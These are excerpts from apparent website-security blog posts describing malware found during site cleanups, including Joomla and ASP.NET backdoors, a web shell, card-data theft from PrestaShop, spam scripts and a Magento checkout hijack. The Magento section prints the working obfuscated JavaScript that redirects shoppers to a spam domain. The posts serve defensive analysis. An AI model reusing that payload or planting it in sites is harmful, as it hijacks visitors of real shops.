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In order to avoid detection and maintain access to compromised websites, attackers use different techniques to hide their malicious code.

During our cleanup investigation we identified an interesting malicious code that pretended to be a legit Joomla core file. In this particular case the attackers based their malware on the libraries/application/application.php file from the 1.5.26 version.

The malware acts like a regular backdoor, allowing arbitrary command execution on affected websites.

Here is a snippet of the code that reveals the backdoor:

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During an incident response process performed in our client’s website, one of our analysts found a very interesting web shell. Our tools detected a suspicious file called "./v8.php" and after some time decoding it, we found out that it was a backdoor giving full shell access to the attackers.

The shell itself is very similar to the well known c99 webshell in which provides a variety of commands to manipulate the victim’s website (file structure) and database, also allowing him to execute commands the start malicious campaigns.

First, the encoded malware had an interesting comment at the top of the file:

"This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited."

Attackers usually use that technique in order to somewhat avoid detection and further investigation from a suspicious eye.

What was so interesting about it? Well... how it was named: "<title> SEU MADRUGA Shell Recoded </title>".

This (and this note's title) may not seem to be funny for anyone outside latin America, so let me explain: "Seu Madruga" or “Don Ramón”, as the character is originally called, is one of the characters from a 1970’s Mexican super popular TV show called "El Chavo del Ocho". This show was translated to portuguese and other 49 different languages and it is still very popular in Brazil, I would risk to say that every brazilian knows who “Seu Madruga” is, even if they weren't big fans of the show. And the note's title is based on one of his famous quotes.

So, when I saw that shell, this is the face that instantly came to my mind:

"Seu Madruga", an unemployed former boxer who gets beat up by a lady almost daily can now be found on your site. So, as we always say, keep your website update, always check the core files, use a monitoring system to keep an eye on everything and make sure to have your website behind a firewall.

We wrote multiple times about various attacks on e-commerce sites that try to steal credit card details of their customers. In most cases, all such attacks need is the shortest moment when the site processes the payment details. It can be an injected JavaScript that steals your data as you enter it in the order form. Or it can be a server side script that builds itself as a middleman between the code that receives the data from user and the code that sends that data to a secure payment gateway. Note, in both of these scenarios e-commerce sites don’t even try to save the credit card information on their servers. The mere fact that they have the payment form on their own domain is enough for hackers to hijack it once they break into the site.

However, hijacking a payment form means that hackers can only steal details of ongoing payments. They have to wait for people to buy something from the compromised sites. But if hacked sites use really poor security practices and save all the payment details on their own servers, the attackers can easily steal credit card details of their customers without having to wait for new victims.

For example, in some versions of PrestaShop, there are standard tables (ps_payment_cc and ps_order_payment) for storing all credit card information (card number, expiration, card holder, etc.). Unfortunately, some PrestaShop payment modules indeed save credit card details in the database, so hackers just couldn’t help taking advantage of this.

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Recently we cleaned a site that had a malicious wp-page.php file at the root of the WordPress site. It was responsible for pharma spam doorways created on this site. The file was quickly located and deleted. To our surprise, when we loaded that wp-page.php in a browser to verify that the problem was resolved, the malicious content was still there. And the headers stated that it was not a cached page.

We checked the file on server - indeed it was there with a very fresh modification date. We deleted the file again and a few seconds later the file was recreated. This behavior was typical for malware that used cronjobs to reinfect sites. However, when we checked the user’s crontab, we didn’t find any suspicious cron jobs there.

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Sharing spam content and getting blacklisted is not a matter of choice when a website is hacked, these are just some of the consequences when attackers compromise a blog/website and that is why it is so important to have security measures/policies in place to prevent such issues from happening.

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We often find code that is developed with good intent but the security aspects of it are not always taken into consideration.

During a routine cleanup investigation we found a php script in a theme that used mail capabilities without any type of security check or direct access prevention. Because of that, attackers would be able to abuse such features and send mass SPAM.

This script is part of one premium WordPress theme and here is a snippet of it (with comments removed):

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Spammers are constantly looking for ways make use of resources of hacked sites in their black hat SEO schemes. In most cases, spam injections and doorway script are quite hard to detect but in this example attackers didn’t worry much about that aspect.

The technique consists of abusing server resources (storage and database) by installing spammy WordPress sites (Oakley and Ray Ban spam in our case) in subdirectories of the original site and providing additional scripts to automate WordPress management (they probably don’t know about the XML-RPC API).

During our investigation, we identified common patterns between different infected websites with this type of injection.

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Backdoors can be simple and powerful at the same time. They’re also very common to be seen along with any kind of infection so that an attacker can get unauthorized access to the server and, although you try to clean the whole malicious content from your website, they can be used to reinfect it again and again.

Here is a small example of an ASP.NET backdoor in a website running on IIS:

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We see a strong trend in hacking ecommerce sites in order to hijack payment process and steal customers credit card details. During the last couple of years, we wrote multiple times about attacks that target Magento, OpenCart, PrestaShop, Woo Commerce and other ecommerce platforms.

Recently we found one more proof of increased attention to ecommerce sites from hackers. On one hacked WordPress site, among other uploaded backdoors, we found quite a big script (>600 lines of code) script whose only purpose was to scan the compromised server for online shop sites

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The checkout process is one of the most important steps for any e-commerce business. The user experience during this process will set the tone for the entire interaction and fortunately lead to a successful sale. Because of that fact, attackers have been targeting Magento installations in order to steal sensitive information (credit card data, paypal logins) and in this case, promote websites for their monetary gains.

During our malware investigation process, we found an interesting piece of code redirecting users during the checkout process to a page not intended by the website owner. After selecting the products and clicking on the “Proceed to checkout” the user was redirected to: hxxp://bestdealsweek[.]com

The malicious code was located inside "/js/varien/accordion.js" and here is the content (obfuscated):

var x="\'%kVg\'%YZaVn\'%(9\'%&%%(7%6\'%\'%hZiI^bZdji\'-\'\'YdXjbZci#adXVi^dc#]gZ[(9\',]iie(6$$WZhiYZVahlZZ`#Xdb\',\'\'\'8\'%YZaVn\'.(7",y="",w="",z;z=x['length'];
for(i=0;i<z;i++){y+=String['fromCharCode'](x['charCodeAt'](i)+11) }w=this['unescape'](y);this['eval'](w);

This particular file in addition to "/skin/frontend/base/default/js/opcheckout.js" create a Javascript Layer responsible for submitting step data to the checkout controller and interpreting controller responses to update the content of the checkout steps. This layer allows the checkout process to be completed without the browser having to load every request in a new page.

This is how the accordion.js was injected into the One Page checkout:

<script type="text/javascript"src="hxxps://domain/js/varien/accordion.js"></script> 

After decoding it, we can see the redirect:

var delay = 100;

This is one of the many injection techniques attackers have been using against Magento e-commerce sites to make a profit. To reduce the risks of such injections, we recommend keeping all software updated (themes, plugins, core files), using a Website Application Firewall, having a File Integrity Monitoring system to detect file modifications and taking regular backups.